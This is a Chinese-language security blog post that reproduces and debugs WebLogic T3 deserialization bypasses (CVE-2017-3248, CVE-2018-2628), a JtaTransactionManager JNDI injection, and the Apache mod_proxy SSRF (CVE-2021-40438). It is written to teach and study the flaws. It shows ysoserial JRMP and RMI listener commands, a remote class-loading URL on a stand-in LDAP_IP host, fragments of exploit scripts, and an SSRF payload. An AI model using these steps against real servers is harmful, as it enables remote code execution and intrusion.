CVE-2018-2628 Weblogic反序列化漏洞分析 - 先知社区 (aliyun.com)
然后看看现在的weblogic.rjvm.InboundMsgAbbrev#readObject
这个var1
就是接收到的数据,看里面的head
的buf
属性,将其复制出来,用python
打印一下看看
可以看到这一大串,其实就是我们的exp
中的原数据
前面的000005f2
就是总的数据包的长度,这些数据都是可控的,但是这个长度只能比实际payload
短,不能长。
那么之后就是相关解析,进行反序列化了。
在上述的readObject
之后还会进行一系列的函数调用,其中比较重要的点就是weblogic.rjvm.InboundMsgAbbrev#resolveClass
传入的stream
会调用父类ObjectInputStream
的resolveClass
来进行类名解析
对于总的readObject
流程中,weblogic.rjvm.InboundMsgAbbrev#resolveClass
大致扮演的角色如下廖师傅的图片
那么就可以在这里添加一个过滤条件,设置黑名单了,比如如下对于12.2.1.3
版本的Weblogic
就会有如下过滤,存在一个检查
而从最开始的该CVE
相关的T3
反序列化爆出来之后,后续修复方案大多都是在调用父类resolveClass
之前进行黑名单过滤,写的代码也是逐次迭代
最开始针对CVE-2015-4852
的修复是在resolveClass
中引入了ClassFilter.isBlackListed
进行过滤,盗用一下cL0und
师傅的图,23333
后面缝缝补补,黑名单位置也更改在WebLogicFilterConfig.class
中
所以在后续的漏洞中,由于黑名单的使用这里其实需要对resolveClass
进行一个分析
对于该漏洞的相关的漏洞发展绕过,可以看weblogic历史T3反序列化漏洞及补丁梳理,比较和本次CVE-2018-2628
漏洞相关的是CVE-2017-3248
,首次出现使用JRMPClient
进行外带RCE
对应的exp
如下
1 | from os import popen |
可以看到发送的序列化对象是通过ysoserial
生成的,我们看看ysoserial
里面具体生成了什么对象
可以看到生成的是Registry
对象,然后将之复制出来,放到IDEA
里面自己测试一下
1 | package ysoserial.test.payloads; |
在开启了远程的JRMPLister_IP
之后
1 | java -cp ./ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 'touch /tmp/zzzz' |
执行上述JAVA
代码,发现并没有命令执行,远程也没有发送数据的信息显示。那么就可能现在还没有和远程进行通信,那么加入如下可以远程通信的代码
1 | myTest test = new myTest(); |
发现成功命令执行。
但是这里有个疑问,在Weblogic
中反序列化对象之后,我并没有找到有对对象调用了远程通信的方法,而在调试的时候发现,当从resloveClass
中返回,即完成如下代码就会得到命令执行了,这里有点不太懂。为什么能够远程通信了,这些代码里面并没有找到和远程通信的方法调用呀。
参考:ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener - 先知社区 (aliyun.com)
RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析 - 360CERT
实际调试一下,看看是怎么从Registry
调用到和远程通信的函数,将Weblogic
的jdk
拿出来调试,上述的文章告诉我们最后是在jdk1.6.0_45/jre/lib/rt.jar!/sun.rmi.transport.StreamRemoteCall#executeCall
中获取到远程对象进行反序列化的,如下图所示
断点下在这里,看一看实际数据,这里的in
就是连接的数据流
断点之后再运行一下就断在如图所示地方,ysoserial
会自动生成BadAttributeValueExpException
这个类对象,然后将恶意的数据封装进去,所以实际的数据中,已经可以看到相关的CC
链其实已经传过来并且反序列化了
看看对应的调用栈
有点多,前面大部分都是RMI
机制相关的调用,不用太管,主要看实际的反序列化的点,即weblogic.rjvm.InboundMsgAbbrev#readObject
处,那么相关的调用栈就如下
这里可以看到有一堆的readObject
,这其实涉及到ObjectInputStream
反序列化的几种方式,参考:Weblogic CVE-2021-2394 反序列化漏洞分析-安全客 - 安全资讯平台 (anquanke.com),引用一下上述的一张图,其中红色和蓝色路径是互斥的。
那么前面就是针对接口Registry
的以及RemoteObjectInvocationHandler
的反序列化,而RemoteObjectInvocationHandler
是继承自RemoteObject
,RemoteObject
又实现了Serializable
接口,所以走的是下面蓝色的那条路径。
之后在RemoteObject.readObject
上看一下,对里面的RemoteObjectInvocationHandler.ref
,即RemoteRef
进行了反序列化,通过判断refClassName
,进入的是else
路径,调用的是其readExternal
函数,走的是上面红色的那条路,可以看到注释也说明了
这个ref
在之前的payload
中看到的是
1 | UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); |
所以反序列化的是UnicastRef
,其实现了RemoteRef
接口,RemoteRef
接口又实现了Externalizable
接口,所以这里也能知道走的应该是红色路径。然后看看其反序列化函数,即readExternal
调用其read
函数,进行相关IP/Port
的获取,然后进入到registerRefs
函数,就是相关的DGC(Distributed Garbage Collection)
分布式垃圾收集机制,可以参考,可以参考攻击JavaRMI概述 - FreeBuf网络安全行业门户。
不是很懂这个,就是进行一些相关注册之后,最后会在jdk1.6.0_45/jre/lib/rt.jar!/sun.rmi.transport.DGCImpl_Stub#dirty
函数中调用到RemoteRef.invoke
函数
这里的ref
就是那个UnicastRef
了,然后就是这里的invoke
函数了
进入excuteCall
函数,就是之前提到的,那么完整的分析就完成了,在excuteCall
函数中通过如下代码
1 | var14 = this.in.readObject(); |
完成远程对象的反序列化。
继CVE-2017-3248
之后,CVE-2018-2628
生成的原因,就在于绕过了黑名单中对于java.rmi.registry.Registry
的过滤,该过滤是放在weblogic.rjvm.InboundMsgAbbrev#resolveProxyClass
中的。
而这个resolveProxyClass
在前面那张廖师傅的图片也提到了,也是可以用来过滤的。
原漏洞作者绕过的方法是使用java.rmi.activation.Activator
进行绕过,参考:CVE-2018-2628 简单复现与分析,但是实际上,在反序列化时,这个接口根本就没有什么用处,所以随便一个接口都可以绕过,参考:weblogic历史T3反序列化漏洞及补丁梳理 (qq.com)
比如上述cL0und
师傅说的换成Map
都可以的,如下代码所示
1 | // |
ysoserial
添加payload
这里再记录一下在ysoserial
中添加payload
。其实git clone
下来用IDEA
打开,等待pom.xml
加载库,然后在ysoserialsrc/main/java/ysoserial/payloads
中新建对应类放入即可,比如这里就放入JRMPClient3
就行。最后再用如命令mvn clean package -DskipTests
打包一下就能用。
接口是什么没有关系,实际上最本质的是UnicastRef
这个对象就能建立远程连接并且获取信息。比如如下的JRMPClient2
1 | package ysoserial.payloads; |
在实际的调用栈如下,也能完成利用。
此外由于CVE-2017-3248
的补丁黑名单是添加到resolveProxyClass
中,而对于resolveProxyClass
而言,只要反序列化的对象没有proxy
类的,那么resolveProxyClass
就不会被调用到,那么其实只用UnicastRef
的payload
根本就不会碰到CVE-2017-3248
的补丁黑名单过滤。
参考:Weblogic JRMP反序列化漏洞回顾 - 先知社区 (aliyun.com)
该CVE-2018-2628
漏洞的修复最终添加的黑名单是sun.rmi.server.UnicastRef
,放在weblogic.utils.io.oif.WebLogicFilterConfig
中。
但是该漏洞的修复并没有用,因为在UnicastRef
经过RemoteObjectInvocationHandler
的封装后,其序列化和反序列化过程是在RemoteObjectInvocationHandler
父类RemoteObject
的readObject/writeObject
中完成的
所以当在resovleClass
中获取类名尝试拦截时,获取到RemoteObjectInvocationHandler
之后,下一个是获取不到UnicastRef
的,因为UnicastRef
已经在RemoteObjectInvocationHandler
反序列化过程中完成了反序列化,所以该漏洞的补丁和没加一样的。
参考:Weblogic JRMP反序列化漏洞回顾 - 先知社区 (aliyun.com)
在调试进行序列化和反序列化的时候,我尝试在本地进行,如下代码
1 | package ysoserial.test.payloads; |
在开启了JRMPListerner
之后,反序列化的过程中并没有命令执行,经过调试,最终也会走入到executeCall
方法,但是总是没办法接收到远程的数据,而远程显示已经发送的数据,但是就是接收不到,不知道为什么。实际的调用栈其实也差不多
在本地调试时也会进入到executeCall#var14 = this.in.readObject();
但是反序列化得到的结果不是想要的,水平比较菜,也没有找到反序列化的数据在哪里。寄寄。
但是实际上,如果在上述代码最后加上一个远程通信代码
1 | unSerObj.list(); |
这样就可以得到命令执行,同样也是在executeCall#var14 = this.in.readObject();
进行的反序列化得到命令执行,有点整不会了。mark一下
学到Weblogic
的一些洞,发现其中的JNDI
注入(Java Naming and Directory Interface)
挺有意思,就来复现一下。
首先以java1.6.0_45
为例子,比较原始一点,不涉及之后JAVA
版本对于JNDI
注入的一些限制
做个简单JNDI
的运行例子,画一下图更加清楚一点
直接就放在一起了,用wh1t3p1g
师傅改版后的ysoserial
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 1099 EvilObj http://LDAP_IP/ |
这个EvilObj
即代表在LDAP
服务中的EvilObj.class
,随便写点恶意代码就行
参考:JNDI with RMI-安全客 - 安全资讯平台 (anquanke.com)
1 | /** |
javac
编译生成的EvilObj.class
,放在LDAP
服务目录下即可
这个直接开启Web
服务就行,比如用Python
1 | python3 -m http.server 80 |
然后Web
目录下得有上述的EvilObj.class
,即http://LDAP_IP/EvilObj.class
得访问下载到才行。
当然这个LDAP
服务和上面的server
放一起也行,用wh1t3p1g
师傅改版后的ysoserial同样可以完成,但是师傅可能更改了一些代码,现在不太好使,也可能是自己方法不对。这里就自己写了一下,借助一下师傅的PayloadClassFileHTTPServer
类,然后整合一下放到ysoserial.exploit
里面就行
1 | package ysoserial.exploit; |
命令如下
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefWithHttpServerListener [registry_IP:registry_PORT] [LDAP_Port] [EvilObj_name] [command] |
本地访问一下就行
1 | package ysoserial.test.payloads; |
这里的两行代码
1 | System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); |
是在某个新的JDK
之后由于com.sun.jndi.ldap.object.trustURLCodebase
和com.sun.jndi.rmi.object.trustURLCodebase
默认设置为false
,导致无法利用RMI
机制以及LDAP
机制。当没有设置时,进行lookup
调试后会进入如下判断
RMI
判断
RegistryContext#decodeObject
判断com.sun.jndi.rmi.object.trustURLCodebase
LDAP
判断
NamingManager#getObjectFactoryFromReference
进入VersionHelper12#loadClass
判断com.sun.jndi.ldap.object.trustURLCodebase
所以这里将其设置为true
,或者命令行也行
1 | ... |
详细看下图
参考:攻击Java中的JNDI、RMI、LDAP(二) - Y4er的博客
Weblogic
中关于JNDI
注入的,比较原始的应该就算这个洞了吧。
也是类似的,用vulhub
的,就用CVE-2018-2628
的Weblogic
,参考:https://xz.aliyun.com/t/10172#toc-1
记得最后把docker
重启一下就行
本地准备
生成在T3
协议中进行反序列化的JtaTransactionManager
类,该类不在T3
协议的黑名单中,可以被反序列化,如下代码
1 | package ysoserial.payloads; |
上述代码参考:weblogic历史T3反序列化漏洞及补丁梳理 (qq.com)
其中的JtaTransactionManager
类是在Weblogic
中的,将Weblogic
中的modules
打包出来放在IDEA
中加载即可。
相关的EXP
如下
1 | from os import popen |
服务器准备
使用如下代码搭建
registry
1 | java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRefListener 9999 EvilObj http://[LDAP_IP]/ |
LDAP
服务
将EvilObj.class
放在该目录下
1 | python3 -m http.server 80 |
需要注意的是,这里CVE-2018-2628
中的Weblogic
其java
环境是1.6.0_45
,而如果服务器中的java
环境大于此版本,其生成的EvilObj
就无法被成功解析,会出现如下版本不匹配问题,导致无法完成漏洞利用。
而高版本解析低版本则没有什么关系,所以一般需要找对应版本的java
来生成EvilObj
然后挂载到服务器上。
最后有如下结果所示,然后版本也没有不匹配就应该差不多了。
漏洞点出在com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject
中调用了initUserTransactionAndTransactionManager
继续跟进initUserTransactionAndTransactionManager
,判断一下this.userTransactionName
就会调用到this.lookupUserTransaction
函数,而this.userTransactionName
在反序列化中是可控的
this.lookupUserTransaction
函数中会调用到JndiTemplate#lookup
函数,并且以userTransactionName
作为参数
JndiTemplate#lookup
函数中会再调用一次本类中单个name
参数的lookup
函数
在该单个name
参数的lookup
函数中找到最终的漏洞根源,使用了Context
的lookup
函数来远程加载恶意类,该name
就是JtaTransactionManager.userTransactionName
,是可控的。
这个this.execute
就会调用到这里重写的doInContext
函数,触发漏洞
Apache
版本小于2.4.48
,由于代理模块mod_proxy
的漏洞,可以造成Apache
的SSRF
,需要开启如下两个模块
1 | LoadModule proxy_module modules/mod_proxy.so |
即在/conf/httpd.conf
中注释掉
参考P
神的编译调试 Apache
相关的漏洞链条如下
1 | mod_proxy.c/proxy_handler |
同样也是参考P
神的:Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸 | 离别歌 (leavesongs.com)
断点下在modules/proxy/proxy_util.c
的fix_uds_filename
函数头部
随便发送一个数据包访问一下即可断下来,该函数相关注释如下
1 | static void fix_uds_filename(request_rec *r, char **url) |
首先关注的一点是r->filename
,这里我输入的url
是http://127.0.0.1:4444/?aaaaaa
,其r->filename
相关值如下,为proxy:http://192.168.1.1/?aaaaaa
即将我们设置中的代理和用户的输入url
路径进行了拼接
也就是说这个r->filename
是一部分可控的。
那么依据在fix_uds_filename
函数的第二个if
判定以及相关的函数注释
ap_strcasestr
ap_strchr
那么即可推导出进入该if
的条件
r->filename
的前6个字符等于proxy:
r->filename
的字符串中含有字串unix:
unix:
字串的后面部分含有字符|
比如这样的proxy:http://192.168.1.1/?unix:aaaaaa|http://127.0.0.1/